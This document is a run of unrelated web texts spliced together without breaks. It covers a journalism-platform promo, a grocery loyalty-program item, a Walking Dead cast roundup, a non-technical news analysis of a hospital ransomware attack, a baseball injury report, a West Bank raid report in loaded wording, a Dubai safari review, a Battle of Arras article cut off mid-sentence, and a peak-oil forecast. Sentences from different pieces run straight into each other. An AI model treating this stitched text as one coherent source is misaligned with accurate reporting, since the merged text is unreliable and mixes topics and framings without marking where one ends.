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This is how we can fight Donald Trump’s attack on democracy The news provokes outrage every day, but it rarely inspires sustained resistance. Now that Donald Trump has launched a frontal assault on democracy, the press needs to fundamentally change tack. Journalists have to beat historians to the punch and write history – before it repeats itself. Read my story here Podcast: Economics deals in good and evil, says this Czech economist Economists are calling the shots. Through their computational models and mathematical formulas, they direct the course of our political and social debate. But one essential dimension is missing, says Tomáš Sedláček: ethics. Life’s most important values can’t be expressed in figures. Listen to Lex’s podcast here Big news! A year from now, you’ll be reading a full-fledged antidote to the daily news grind The best in international journalism on an independent, ad-free platform with a global reach – we’re one step closer to making this dream come true. Here’s what’s next on the horizon. Read Rob and Ernst-Jan’s story hereJACKSONVILLE, Fla. - Winn-Dixie and its parent company Southeastern Grocers LLC, will become the first grocer to join the national Plenti program, a loyalty program that will be launched on April 5.
Plenti was launched late late year in Southeastern Grocers-owned Harvey's Supermarkets.
Customers can enroll in the program starting Wednesday and can begin earning points on April 5.
The rewards program replaces the popular FuelPerks program that offered Winn-Dixie shoppers the opportunity to earn discounts on gas at Shell stations, based on the amount of groceries they purchased. Customers began seeing billboards several months ago announcing that FuelPerks was ending.
With Plenti, Winn-Dixie and Harvey's customers, along with customers of BI-LO and Fresco y Mas, which are also owned by Southeastern Grocers, can apply points to buy gas at Exxon and Mobil stations, groceries and thousands of other online and retail partners, including AT&T, Macy's, Chili's Rite Aid and others.
FuelPerks members can still accumulate points through the end of March and use their point until the end of April, at which time, the points will expire.
On April 5, when the program launches, Winn-Dixie stores will have 1,000 items in each store that will offer bonus points.
Copyright 2017 by WJXT News4Jax - All rights reserved.The Walking Dead kills characters like you or I change socks, so there are a lot of alumni to keep track of if you want to follow their careers. We're here to help. Here's a handy compendium of where all the actors who had important deaths on The Walking Dead are now, as of the middle of Season 8.
Jim (Andrew Rothenberg)
The first guy to die on The Walking Dead was last seen as a guest star on Chicago Justice.
Dr. Jenner (Noah Emmerich)
Dr. Edwin Jenner was a small but pivotal role on The Walking Dead, and it was for Emmerich too; it wasn't long after The Walking Dead that he landed the biggest role of his long career as FBI Agent Stan Beeman on The Americans.
Otis (Pruitt Taylor Vince)
This veteran character actor had a small but important role in Stranger Things 2's polarizing Chicago episode.
Sophia (Madison Lintz)
Carol's daughter is now a cast member on Amazon's detective show Bosch.
Dale (Jeffrey DeMunn)
Dale was the early seasons' bucket-hatted moral center. Now he's Paul Giamatti's dad on Billions, a show with no moral centers.
Shane (Jon Bernthal)
Bernthal has had perhaps the most distinguished post-TWD career of anyone. There's a clear line from his role as Rick's violent, unstable former bestie to his starring role as the iconic comics character the Punisher in Netflix's Marvel franchise.
T-Dogg (IronE Singleton)
T-Dogg has walked a peculiar path since leaving The Walking Dead. He has an autobiographical one-man show called Blindsided by The Walking Dead (it's also about being being in The Blind Side)and is a fixture at Walking Dead fan conventions.
Lori (Sarah Wayne Callies)
The artist formerly known as Rick's wife Lori resurrected her breakthrough character Sara on Fox's Prison Break revival in 2017 and will return for the third season of USA's sci-fi series Colony later this year.
Merle (Michael Rooker)
The prosthetics Rooker got as Daryl's big brother probably prepared him for his role as Yondu Udonta in the Guardians of the Galaxy film franchise.
Milton (Dallas Roberts)
Milton was last seen in Season 3 of the underseen limited series American Crime.
Andrea (Laurie Holden)
Laurie Holden joined The Americans as a love interest for fellow Walking Dead alum Noah Emmerich.
Karen (Melissa Ponzio)
One of the sick prison-dwellers burnt to death by Carol recently wrapped a long-running role on Teen Wolf and recurs on Chicago Fire as Chief Boden's wife Donna.
Hershel (Scott Wilson)
The Greene family patriarch was last seen on Netflix's sci-fi series The OA.
The Governor (David Morrissey)
The Governor is swapping his eyepatch for a suit of armor on Brittania. Morrissey plays Roman general Aulus Plautius on Amazon's historical epic.
Mika (Kyla Kennedy)
Poor Mika got murdered by her sister. The good news is that she found a loving family on ABC's hit comedy Speechless.
Gareth (Andrew J. West)
The cannibalistic leader of Terminus is now one of the main characters on Once Upon a Time's seventh season as grown-up Henry Mills.
Bob (Lawrence Gilliard)
Where's Bob Stookey, String? Sasha's poor cannibalized ex-boyfriend is in Times Square now, playing a put-upon beat cop on HBO's The Deuce.
Beth (Emily Kinney)
The younger Greene sister had bad luck with two back-to-back canceled ABC series -- Conviction and Ten Days in the Valley -- but there's a chance she'll be seen again in the Arrowverse, where her character, the bee-obsessed baddie Brie Larvan, has been comatose since her defeat on Arrow.
Tyreese (Chad L. Coleman)
The Walking Dead's gentle giant has become on in-demand sci-fi actor, with recurring roles on Syfy's The Expanse and Fox's The Orville.
Noah (Tyler James Williams)
Young Noah was most recently a cast member on Criminal Minds: Beyond Borders, playing technical analyst Russ Montgomery.
Reg (Steve Coulter)
Coulter went from playing the husband of a lawmaker on The Walking Dead to playing the governor of Tennessee on House of Cards.
Pete (Corey Brill)
Jessie's husband got put down by Rick. He most recently popped up in a guest spot on Chicago P.D.
Nicholas (Michael Traynor)
The cowardly Nicholas was last seen on Ten Days in the Valley, but his main gig besides The Walking Dead has been The Fosters, where he recurs as math teacher Craig.
Deanna (Tovah Feldshuh)
The representative from Ohio -- before America collapsed into a post-apocalyptic hellscape -- can currently be seen on Crazy Ex-Girlfriend as Rachel Bloom's mother.
The Alpha Wolf (Benedict Samuel)
Samuel currently plays the supervillain Jervis Tetch, aka the Mad Hatter, on Gotham.
Jessie (Alexandra Breckenridge)
Rick's Alexandrian girlfriend met a bad end, but shed no tears, because now she's on one of TV's other biggest shows, This Is Us, as Kate Pearson's (Chrissy Metz) friend Sophie.
Paula (Alicia Witt)
Alicia Witt has been very busy since her memorable Season 6 one-off in 2016. She's since appeared on Nashville, Supernatural, Twin Peaks and The Exorcist and starred in the Hallmark movies Christmas List and The Mistletoe Inn.
Denise (Merritt Wever)
This Emmy winner (for Nurse Jackie) was most recently seen in Netflix's Western limited series Godless.
Glenn (Steven Yeun)
Yeun has mostly stuck to voice-acting since Glenn got his head smashed in, and his voice can be heard in the Netflix kids' shows Trollhunters, Voltron: Legendary Defender and Stretch Armstrong and the Flex Fighters. His face was last seen in the movie Okja.
Abraham (Michael Cudlitz)
The former Abraham Ford sadly won't be on Fear the Walking Dead, but he will be seen in the upcoming John DeLorean biopic Driven and recently landed a lead role in an ABC comedy pilot.
Spencer (Austin Nichols)
Nichols had two notable deaths in just a few months, first getting gutted by Negan on The Walking Dead and then getting stabbed to death by Norman Bates (Freddie Highmore) on Bates Motel in a twist on Psycho's famous shower scene. At least he got a love scene with Rihanna.
Olivia (Ann Mahoney)
Mahoney went from getting shot in the eye on The Walking Dead to playing Gladys Presley, Elvis' mother, on CMT's miniseries Sun Records.
Benjamin (Logan Miller)
Miller is starring in two upcoming movies with hit potential -- Blumhouse's thriller Prey and Greg Berlanti's high school dramedy Simon vs. the Homo Sapiens Agenda. Maybe Benjamin was a special boy after all.
Richard (Karl Makinen)
Makinen was one of three TWD actors (Alicia Witt and Josh McDermitt were the others) to appear in the Twin Peaks revival. He played a detective with a weird goatee.
Sasha (Sonequa Martin-Green)
The erstwhile Sasha Williams is currently killing it as First Officer Michael Burnham on Star Trek: Discovery.
Eric (Jordan Woods-Robinson)
Aaron's boyfriend hasn't lined anything up since he turned and wandered off into the woods, but he'll find something.
Carl (Chandler Riggs)
Young Chandler has a bright future ahead of him. He'll be appearing in a movie called Only alongside Freida Pinto and Leslie Odom Jr. that's currently in production. And maybe you can catch him DJing at a club near you.
Gavin (Jayson Warner Smith)
The most reasonable Savior will also appear in Only, as well as an upcoming movie called Reckoning alongside True Detective's Brad Carter. And if you're in Atlanta in August, go see him in the play Blackbird by David Harrower at The Robert Mello Studio.
The Walking Dead airs Sundays at 9/8c on AMC.During this time, an unnamed doctor told the press the systems responsible for CT scans, documentation, lab work, pharmacy functions and electronic communications were out of commission -- as in, no email. Staff relied on pencil and paper; it was reported that radiation and oncology were temporarily shut down. Hospital president and CEO Allen Stefanek said that the emergency room systems were'sporadically impacted'. No one died as a result of this ransomware attack, but NBC reported that patients were transferred to other hospitals. It's especially troubling that one doctor reportedly described the situation as "very dangerous."
Here's how it probably went down. The hospital got a malware infection through a tainted email attachment or infected advertising from a website. Ransomware can, and does, happen to literally anyone; it has exploded into an epidemic over the past few years. Dell SecureWorks estimated in 2013 that infamous ransomware CryptoLocker claimed 250,000 victims; in 2015 Symantec reports the average payout is still around $300 each (1 to 2 bitcoin, depending on market value). So many regular people have been caught in the crosshairs that Reddit's r/sysadmin and r/techsupport double as ransomware support networks, along with BleepingComputer.
But let's get back to Hollywood Presbyterian. After the initial infection, the malware got into the hospital's network and went everywhere it could while its presence remained hidden.
After establishing a foothold and communicating back to its home servers, it would have aggressively encrypted all the files it could access (including mapped drives). Then a screen would've appeared explaining to panicked hospital staff that the files are locked until a bitcoin payment is sent (with instructions for sending the money).
Mess with the files or decline to pay and the hospital could forget about ever opening those files again -- but if payment is sent, the victim gets a key to decrypt everything. Usually payment is acknowledged within a few hours; victims currently paying for decryption of Locky ransomware report that multiple PCs on a network are taking around three hours to recover.
A new low for ransom gangs
Can you imagine? Teams of dedicated people putting everything on the line to save people's lives... only to get stopped in their tracks by some greedy asshole's malware asking for the cash equivalent of a used sedan.
The hospital first turned to the LAPD for help with the ransomware. I'm not up to date on the cyber-savviness of the LAPD, but perhaps Hollywood Presbyterian should've turned to some trendy infosec company first. When the Swansea, Massachusetts, police department was hit, the officers paid CryptoLocker's ransom. Police Lt. Gregory Ryan told press that his department shelled out around $750 for two bitcoin -- and admitted his department had no idea what bitcoin is or how malware functioned.
The Hollywood Presbyterian ransomware investigation was eventually taken over by the FBI. Since the FBI advises ransomware victims to just pay up, perhaps the hospital coughed up the bitcoin when the FBI got involved.
But if early reports were true and any delay was to find the culprits, it's troubling. That's because among the countless ransomware variants, there are ones like Critroni which use the Tor anonymity network to make finding the source nearly impossible.
Ransomware is usually indiscriminate, but a few details about Hollywood Presbyterian make this different than a typical attack.
For one, the hospital waited at least a week to pay. Ransomware's hallmark tactic is its timer, ticking down to exert pressure and create panic (usually 48 to 72 hours).
The other curious thing is the ransom itself: 40 bitcoin. As mentioned earlier and in oodles of reports and white papers, ransomware usually costs the victim one to two bitcoin. Did the bigger ransom indicate an attacker's intent to target the hospital? Or was the ransom self-calculated, based on total encrypted files -- perhaps locking up more files than we've been told?
We may never have answers. Although Hollywood Presbyterian returned our calls... it was only to apologize that they wouldn't answer our questions.ARLINGTON, Texas – J.A. Happ understands better than most the risks pitchers live with on the mound having taken a line drive off the head in 2013 that fractured his skull behind the left ear and left him with a right knee sprain.
That’s why he was particularly sympathetic toward Toronto Blue Jays teammate Francisco Liriano, who was struck by a 102-mph line drive off Carlos Gomez’s bat in Friday’s 5-3 win over the Texas Rangers.
"That was scary and I don’t know exactly what was going on, but obviously we’re thinking about him a lot," said Happ. "I know what he’s going through right now, hoping for the best for the results, but yeah, that was scary."
Good news came after the game as Liriano was examined in a local hospital and cleared to fly back to Toronto with the team. Shortly after the final out, he was loaded onto an ambulance on a stretcher conscious but with his neck immobilized.
Such testing is part of mandated protocol for head injuries, as there have been no shortage of similarly concerning incidents in recent seasons.
Working in Liriano’s favour was that Gomez’s drive didn’t catch him flush, more glancing off his head en route to the outfield. The more dangerous incidents are when the ball deadens on contact, meaning the pitcher has absorbed most of the momentum upon impact.
It appears Liriano had some very good fortune.
"That could happen to any one of us," said closer Roberto Osuna. "It was Liriano this time, and I feel bad for him, but I know he’s going to be fine."Soldiers Invade Bethlehem, Hebron, Kidnap Four Palestinians
2:21 PM
[Saturday at Dawn, December 28, 2013] Dozens of Israeli soldiers invaded the West Bank districts of Bethlehem and Hebron, kidnapping four Palestinians. Soldiers also installed roadblocks in Hebron, and searched cars.Dozens of soldiers invaded the Saff Street and the Wady Ma’aly area, in Bethlehem, and broke into several homes, violently searching them before kidnapping two Palestinians, the Radio Bethlehem has reported.
The two kidnapped residents have been identified as Fady Abed Salahat, 30, and Salah Salahat, 25; both were cuffed, blindfolded and were taken to an unknown destination.
Israeli military sources said that two Molotov cocktails were thrown, on Friday evening, at Israeli military jeeps at a roadblock in the Bethlehem District; the army reported no injuries, and initiated a search campaign.
Also on Saturday, dozens of soldiers invaded the southern West Bank district of Hebron and kidnapped two Palestinians, in the city.
Palestinian security sources stated that the army kidnapped Ayman and Mohammad Fakhoury, near Nabi Younis, in Halhoul town, north of Hebron, and took them to an unknown destination.
Furthermore, dozens of Israeli settlers invaded the Haska area, in Halhoul, and gathered near water springs in the area.
The settlers were accompanied by dozens of soldiers; soldiers and settlers withdrew several hours later.
In related news, Palestinian medical sources have reported that three Palestinian workers have been injured, on Friday evening, near the annexation wall, in the Ramadeen village, south of the southern West bank city of Hebron.
The sources said that the workers were returning from work in Beersheba (Be’er As-Sabe’), when they were chased and assaulted by the soldiers.
The three have been identified as Shady Ahmad Al-Ajarma, 21, Idrees Yousef At-Torshan, 22, and Mohammad Ishak Khrekis, 22. They were moved to the Hebron Governmental Hospital for treatment.
Furthermore, dozens of soldiers invaded various neighborhoods in Hebron city, Bani Neim town, east of Hebron, and installed roadblocks at the entrances of Sa’ir town northeast of Hebron, Al-Fawwar refugee camp south of Hebron, and the Halhoul Bridge area in the north.
The soldiers stopped and searched hundreds of Palestinian cars, and interrogated dozens of residents while inspecting their ID cards.This was a great safari! Definitely worth the money. We got picked up on time and got told about the passing sites on our way out into the desert, including where they do camel racing. We went far away from the centre of Dubai and rode camels in a private reserve in the desert, for the whole 45mins before getting off and making ourselves comfy on the pillows and mat with sparkling grape juice to watch the falconry show, which was great, pos could of been abit longer tho. From there we got taken in 4wd jeeps to the Bedouin-style camp where we had dinner after watching a Arabic bread making demonstration and getting a Henna. For dinner there was so much to choose from and we even had Camel milk and meat to try if we wanted to. After dinner they had a few dancers and we had the opportunity to buy our professional photos on a memory stick, which is the best idea (more companies should do this as when your travelling its hard to keep photos flat) and then back in the 4WD back across the dunes to the Mini van. Only difficult thing about the whole trip was getting hold of the tour company to confirm pickup time once we had arrived in Dubai, it said to contact them as soon as we arrived which we did but couldn't get hold of anyone, the next morning after trying another 2 times we finally got hold of them and was told we would receive an email in a few hours confirming the exact pick up time as they didnt know at that point, we never received the email and ended up ringing again at midday and was then told the time.For other battles with the same name, see Battle of Arras (disambiguation)
The Battle of Arras (also known as the Second Battle of Arras) was a British offensive on the Western Front during World War I. From 9 April to 16 May 1917, British troops attacked German defences near the French city of Arras on the Western Front. The British achieved the longest advance since trench warfare had begun, surpassing the record set by the French Sixth Army on 1 July 1916. The British advance slowed in the next few days and the German defence recovered. The battle became a costly stalemate for both sides and by the end of the battle, the British Third and First Armies had suffered about 160,000 and the German 6th Army about 125,000 casualties.
For much of the war, the opposing armies on the Western Front were at stalemate, with a continuous line of trenches from the Belgian coast to the Swiss border. The Allied objective from early 1915 was to break through the German defences into the open ground beyond and engage the numerically inferior German Army (Westheer) in a war of movement. The British attack at Arras was part of the French Nivelle Offensive, the main part of which was to take place on the Aisne 50 miles (80 km) to the south. The aim of the French offensive was to break through the German defences in forty-eight hours. At Arras the Canadians were to re-capture Vimy Ridge, dominating the plain of Douai to the east, advance towards Cambrai and divert German reserves from the French front.
The British effort was an assault on a relatively broad front between Vimy in the north-west and Bullecourt to the south-east. After a long preparatory bombardment, the Canadian Corps of the First Army in the north fought the Battle of Vimy Ridge and took the ridge. The Third Army in the centre advanced astride the Scarpe River and in the south, the Fifth Army attacked the Hindenburg Line (Siegfriedstellung) but was frustrated by the defence in depth and made few gains. The British armies then engaged in a series of small operations to consolidate the new positions. Although these battles were generally successful in achieving limited aims, they came at considerable cost.
When the battle officially ended on 16 May, British Empire troops had made significant advances but had been unable to achieve a breakthrough. New tactics and the equipment to exploit them had been used, showing that the British had absorbed the lessons of the Battle of the Somme and could mount set-piece attacks against fortified field defences. After the Second Battle of Bullecourt (3–17 May), the Arras sector returned to the stalemate that typified most of the war on the Western Front, except for attacks on the Hindenburg Line and around Lens, culminating in the Canadian Battle of Hill 70 (15–25 August).
Background [ edit ]
At the beginning of 1917, the British and French were still searching for a way to achieve a strategic breakthrough on the Western Front. The previous year had been marked by the costly success of the Anglo-French offensive astride the River Somme, while the French had been unable to take the initiative because of intense German pressure at Verdun until after August 1916. The battles consumed enormous quantities of resources while achieving virtually no strategic gains on the battlefield. The cost to Germany of containing the Anglo-French attacks had been enormous and given that the material preponderance of the Entente and its allies could only be expected to increase in 1917, Hindenburg and Ludendorff decided on a defensive strategy on the Western Front for that year. This impasse reinforced the French and British commanders' belief that to end the stalemate they needed a breakthrough; while this desire may have been the main impetus behind the offensive, the timing and location were influenced by political and tactical considerations.
Political background [ edit ]
The town square, Arras, February 1919
The mid-war years were momentous times. Governing politicians in Paris and London were under great pressure from the press, the people and their parliaments to win the war. Hundreds of thousands of casualties had been suffered at the battles of Gallipoli, the Somme and Verdun, with little prospect of victory in sight. The British Prime Minister, H. H. Asquith, resigned in early December 1916 and was succeeded by David Lloyd George. In France, Prime Minister Aristide Briand, along with Minister of Defence Hubert Lyautey were politically diminished and resigned in March 1917, following disagreements over the prospective Nivelle Offensive. The United States was close to declaring war on Germany; American public opinion was growing increasingly incensed by U-boat attacks upon civilian shipping, starting with the sinking of RMS Lusitania in 1915 and culminating in the torpedoing of seven American merchantmen in early 1917. The United States Congress finally declared war on Imperial Germany on 6 April 1917 but it would be more than a year before a suitable army could be raised, trained and transported to France.
Strategy [ edit ]
Although the French and British had intended to launch a spring offensive in 1917, the strategy was threatened in February, when the Russians admitted that they could not meet the commitment to a joint offensive, which reduced the two-front offensive to a French assault along the Aisne River. In March, the German army in the west (Westheer), withdrew to the Hindenburg line in Operation Alberich, which negated the tactical assumptions underlying the plans for the French offensive. Until French troops advanced to compensate during the Battles of Arras, they encountered no German troops in the assault sector and it became uncertain whether the offensive would go forward. The French government desperately needed a victory to avoid civil unrest but the British were wary of proceeding, in view of the rapidly changing tactical situation. In a meeting with Lloyd George, French commander-in-chief General Robert Nivelle persuaded the British Prime Minister, that if the British launched a diversionary assault to draw German troops away from the Aisne sector, the French offensive could succeed. It was agreed in the London Convention of 16 January, that the French assault on the Aisne would begin in mid-April and that the British would make a diversionary attack in the Arras sector approximately one week prior.
Tactics: British Expeditionary Force [ edit ]
Three armies of Field Marshal Sir Douglas Haig, the commander of the British Expeditionary Force (BEF) were in the Arras sector, the Fifth Army (General Hubert Gough) in the south, the Third Army (General Edmund Allenby) in the centre and the First Army (General Henry Horne) in the north and the plan was devised by Allenby. The British used the lessons of the Somme and Verdun the previous year and planned to attack attacking on an 11 mi (18 km), from Vimy Ridge in the north to Neuville Vitasse, 4 mi (6.4 km) south of the Scarpe river. The preliminary bombardment was planned to last about a week at all points on the line, with a much longer and heavier barrage at Vimy Ridge.
Division attack training [ edit ]
In December 1916, the training manual SS 135 replaced SS 109 of 8 May 1916 and marked a significant step in the evolution of the British Expeditionary Force (BEF) into a homogeneous force, well adapted to its role on the Western Front. The duties of army, corps and divisions in planning attacks were standardised. Armies were to devise the plan and the principles of the artillery component. The corps were to allot tasks to divisions, which would then select objectives and devise infantry plans subject to corps approval. Artillery planning was controlled by corps with consultation of divisions by the corps General Officer Commanding, Royal Artillery (GOCRA) which became the title of the officer at each level of command who devised the bombardment plan, which was coordinated with neighbouring corps artillery commanders by the army GOCRA. Specific parts of the bombardment were nominated by divisions, using their local knowledge and the results of air reconnaissance. The corps artillery commander was to co-ordinate counter-battery fire and the howitzer bombardment for zero hour. Corps controlled the creeping barrage but divisions were given authority over extra batteries added to the barrage, which could be switched to other targets by the divisional commander and brigade commanders. SS 135 provided the basis for the operational technique of the BEF for the rest of 1917.
Platoon attack training [ edit ]
Front lines at Arras prior to the assault.
The training manual SS 143 of February 1917 marked the end of attacks made by lines of infantry with a few detached specialists. The platoon was divided into a small headquarters and four sections, one with two trained grenade-throwers and assistants, the second with a Lewis gunner and nine assistants carrying 30 drums of ammunition, the third section comprised a sniper, scout and nine riflemen and the fourth section had nine men with four rifle-grenade launchers. The rifle and hand-grenade sections were to advance in front of the Lewis-gun and rifle-grenade sections, in two waves or in artillery formation, which covered an area 100 yd (91 m) wide and 50 yd (46 m) deep, with the four sections in a diamond pattern, the rifle section ahead, rifle grenade and bombing sections to the sides and the Lewis gun section behind, until resistance was met. German defenders were to be suppressed by fire from the Lewis-gun and rifle-grenade sections, while the riflemen and hand-grenade sections moved forward, preferably by infiltrating around the flanks of the resistance, to overwhelm the defenders from the rear.
The changes in equipment, organisation and formation were elaborated in SS 144 The Normal Formation For the Attack of February 1917, which recommended that the leading troops should push on to the final objective, when only one or two were involved but that for a greater number of objectives, when artillery covering fire was available for the depth of the intended advance, fresh platoons should "leap-frog" through the leading platoons to the next objective. The new organisations and equipment gave the infantry platoon the capacity for fire and manoeuvre, even in the absence of adequate artillery support. To bring uniformity in adoption of the methods laid down in the revised manuals and others produced over the winter, Haig established a BEF Training Directorate in January 1917, to issue manuals and oversee training. SS 143 and its companion manuals like SS 144, provided British infantry with "off-the-peg" tactics, devised from the experience of the Somme and from French Army operations, to go with the new equipment made available by increasing British and Allied war production and better understanding of the organisation necessary to exploit it in battle.
Tactics: German army [ edit ]
In a new manual of 1 December 1916, Grundsätze für die Führung in der Abwehrschlacht im Stellungskrieg (Principles of Command for Defensive Battles in Positional Warfare), the policy of unyielding defence of ground regardless of its tactical value, was replaced by the defence of positions suitable for artillery observation and communication with the rear, where an attacking force would "fight itself to a standstill and use up its resources while the defenders conserve[d] their strength". Defending infantry would fight in areas, with the front divisions in an outpost zone up to 3,000 yd (1.7 mi; 2.7 km) deep behind listening posts, with the main line of resistance placed on a reverse slope, in front of artillery observation posts, which were kept far enough back to retain observation over the outpost zone. Behind the main line of resistance was a Grosskampfzone (battle zone), a second defensive area 1,500–2,500 yd (0.85–1.42 mi; 1.4–2.3 km) deep as far as possible on ground hidden from enemy observation, while in view of German artillery observers. A rückwärtige Kampfzone (rear battle zone) further back was to be occupied by the reserve battalion of each regiment.
Allgemeines über Stellungsbau (Principles of Field Fortification) was published by Oberste Heeresleitung (OHL, supreme command of the German army) in January 1917 and by April an outpost zone (Vorpostenfeld) held by sentries, had been built along the Western Front. Sentries could retreat to larger positions (Gruppennester) held by Stosstrupps (five men and an NCO per Trupp), who would join the sentries to recapture sentry-posts by immediate counter-attack. Defensive procedures in the battle zone were similar but with greater numbers. The front trench system was the sentry line for the battle zone garrison, which was allowed to move away from concentrations of enemy fire and then counter-attack to recover the battle and outpost zones; such withdrawals were envisaged as occurring on small parts of the battlefield which had been made untenable by Allied artillery fire, as the prelude to Gegenstoss in der Stellung (immediate counter-attack within the position). Such a decentralised battle by large numbers of small infantry detachments would present the attacker with unforeseen obstructions. Resistance from troops equipped with automatic weapons, supported by observed artillery fire, would increase the further the advance progressed. A school was opened in January 1917 to teach infantry commanders the new methods.
Given the growing Allied superiority in munitions and manpower, attackers might still penetrate to the second (artillery protection) line, leaving in their wake German garrisons isolated in Widerstandsnester, (resistance nests, Widas) still inflicting losses and disorganisation on the attackers. As the attackers tried to capture the Widas and dig in near the German second line, Sturmbattalions and Sturmregimenter of the counter-attack divisions would advance from the rückwärtige Kampfzone into the battle zone, in an immediate counter-attack (Gegenstoss aus der Tiefe). If the immediate counter-attack failed, the counter-attack divisions would take their time to prepare a methodical attack, provided the lost ground was essential to the retention of the main position. Such methods required large numbers of reserve divisions ready to move to the battlefront. The reserve was obtained by creating 22 divisions by internal reorganisation of |
Oil Megaprojects and the increase in OPEC production quota by 0.5 mbd starting 1 Nov 2007. There are also a few paragraphs added in section 1 below describing the increased consensus about peak oil by more oil industry experts.
1. World Total Liquids Supply & Demand
Although crude oil & lease condensate (C&C) production is forecast to continue declining, the total liquids supply remains on a plateau until 2009 (Fig 1), due to offsetting production increases from natural gas plant liquids (NGPLs), ethanol and XTL (BTL - biomass to liquids, CTL - coal to liquids and GTL - gas to liquids). The main causes for the end of the total liquids plateau in 2009 (Fig 1) are that the C&C production decline rate accelerates to 3%/yr in 2009 (Fig 3) and the production growth from natural gas plant liquids stalls (Fig 15).
Fig 1 - Total Liquids Supply & Demand to 2012 (bottom up forecast) - click to enlarge
Is future total liquids production likely to exceed the current peak of 87.2 mbd on January 2008? It might be possible but it appears unlikely. North Sea production continues to decline. Mexico's production is also in decline. Former USSR production might increase by a small amount. Canada's production should increase slowly but the oil sands are experiencing production constraints and despite claimed reserves of up to 315 Gb (billion barrels), the oil sands will probably produce, at best, a maximum of only 2.5 mbd (million barrels/day). Biofuels production should also continue increasing. Non OPEC total liquids production might increase slowly, assuming that no unexpected disruptions occur.
As world total liquids production is forecast to decrease to 2012 (Fig 1), two important consequences are likely to occur. First, as demand is forecast to increase, prices are forecast to rise, using short and long run price elasticities, which will force demand downwards to equal supply. Second, the decreased available supply may invoke the IEA Response System for Oil Supply Emergencies. Unexpected supply reductions could trigger oil rationing among the 26 countries which are signatories to this IEA Response System, but unfortunately China, Russia, India and Brazil, which are not signatories, are highly unlikely to agree to the IEA’s rationing method because its rationing basis is by country rather than by person. The resulting tensions, from oil supply shortages, among the signatory and non-signatory countries could lead not only to continued competitive oil bidding, but also to continued conflicts and violence in order to secure vital oil supplies.
2. World Crude Oil & Lease Condensate Production
The largest component of world total liquids production is world C&C production. The first part, 2008 to 2012, of the forecast to 2100 (Fig 2), is created using a bottom up forecast based on over 350 continuously updated regions/projects from 2008 to 2012 (Fig 3). After 2012, two scenarios are shown.
The first scenario, shown by the red line, is based partly on BP reserves data, but large downward revisions are made to OPEC reserves and small upward revisions are made to the reserves of many countries to derive a more accurate estimate of proven and probable reserves. Yet to find C&C reserves are added to this estimate of proven and probable reserves to give world total ultimate recoverable reserves (URR) of 1.85 Tb (trillion barrels) including remaining URR of 0.78 Tb as at end 2007.
The second scenario, shown by the green line, uses Colin Campbell’s URR estimate from his February 2008 newsletter. His URR estimate is equal to 2.23 Tb, excluding natural gas plant liquids. His estimate is higher than the first scenario estimate of 1.85 Tb due to an additional 0.23 Tb URR from the UAE, Iran, Iraq, Kuwait and Saudi Arabia, and higher URR estimates from heavy oil and polar oil. The green line forecast shows what might be possible if the middle east gulf countries really do have the reserves close to what they have claimed, if promised production increases from heavy oil occur and if additional significant polar oil is discovered.
Fig 2 - World Crude Oil & Lease Condensate Production, including OPEC Core, to 2100 - click to enlarge - (the reserves and production of the Neutral Zone are shared equally between Saudi Arabia and Kuwait)
The production from OPEC Core countries of Saudi Arabia, Kuwait and UAE is shown by the blue line and retains its 2005 peak (Fig 2). These three countries are labelled as OPEC Core because these countries have over 50% of proven reserves of OPEC-12 total proven reserves, (according to BP statistics) and produce almost 50% of the OPEC-12 total C&C production. Gately also labelled these countries as core potentially due to similar reasoning. There is a strong correlation between the production from the OPEC Core and the world.
Fig 3 - World Crude Oil & Lease Condensate Production to 2012 (bottom up forecast) - click to enlarge
World C&C production retains its May 2005 peak and is forecast to decline slightly until 2009. The decline rate from early 2009 to 2012 is 3%/year.
3. Peak Production and Peak Discovery Time Lags
Although the forecast production decline rate in Fig 2 appears high, it is a natural time lagged response to the peak year for discoveries as shown in this section. Fig 4 shows the peak discovery year in 1965, followed by a steady decline in the discovery rate. For every year since the mid 1980s, annual production has been greater than annual discoveries. This is not sustainable and it is inevitable that world annual production will start to decline. This timing of peak production and rate of decline is forecast by Fig 2.
Fig 4 - World Discoveries (source ASPO Ireland Newsletter No. 80, August 2007) - click to enlarge
The figure below focuses on giant oil field discoveries and shows a similar shape to the figure above. The number of giant oil fields discovered peaked in the 1960-69 decade and both the number of giant fields and their respective recoverable reserves have declined steadily. The shape of the discovery decline curve below from 1960 to 2006 is similar to the production decline curve (Fig 2) from 2005 to 2100.
Fig 5 - World Discoveries, Giant Oil Fields (source Giant Oil Fields – The Highway to Oil, Fredrik Robelius, March 2007) - click to enlarge
A very good example of the time lag between peak discovery and peak production is the USA (Fig 6). Peak discovery was 1930 and peak production occurred 42 years later in 1972. Fig 4 shows peak discovery for the world occurred in 1965. Fig 3 predicts that peak production occurred in 2005, which is 40 years later than peak discovery, a similar time lag to the USA.
Fig 6 – USA Lower 48 Peak Discovery and Peak Production (source Peak Oil: an Outlook on Crude Oil Depletion, Colin J.Campbell, February 2002) - click to enlarge
4. World Crude Oil & Lease Condensate Production Changes
Year on year production changes, represented by the green bars in Figures 7 and 8 below, show the biggest declines for Mexico, North Sea and Saudi Arabia and the biggest increases for Russia, Azerbaijan and Angola. Angola has many projects which should increase its production capacity but actual crude production rates will be limited to its new OPEC quota of 1.9 mbd. Russia’s mature field production will probably limit Russia’s future production growth.
Month on month changes from Sep 2007 to Oct 2007 (Fig 7), represented by the light blue bars, indicate decreases for Canada, Egypt and Mexico. Over the same time period, Angola, Azerbaijan, Iraq, USA and the North Sea showed good increases.
Fig 7 - World Crude Oil & Lease Condensate Production Changes to October 2007 - click to enlarge
Month on month changes from Oct 2007 to Nov 2007 (Fig 8) showed good increases for Azerbaijan and Saudi Arabia. Production fell for UAE due to significant maintenance. The production drop for Mexico is due mainly to continued geological decline as PEMEX announced that “oil reserves may run out in seven years”. Also from Oct 2007 to Nov 2007, Canadian production remained constant, despite the optimism about oil sands. Russia showed a small decrease in production. Could this mean that Russia’s C&C production is on a slight decline now?
Fig 8 - World Crude Oil & Lease Condensate Production Changes to November 2007 - click to enlarge
World C&C production is dropping, on an annual basis, by about 0.4 mbd (Figs 7 & 8). This is not a high decline rate but given that Russia is probably unable and unwilling to increase production and that Saudi Arabia, Kuwait, the UAE, the North Sea and Mexico are unlikely to reverse their decline rates, the world C&C production rate is forecast to continue its decline (Fig 3).
5. Saudi Arabia Crude Oil & Lease Condensate Production
Saudi Arabia remains a key producer in the world and continually reminds the world of its enormous reserves and surplus production capacity. This paragraph on capacity in IEA's 12 June 2007 Oil Market Report, page 15, explains Saudi Arabia’s current surplus capacity situation within an OPEC context.
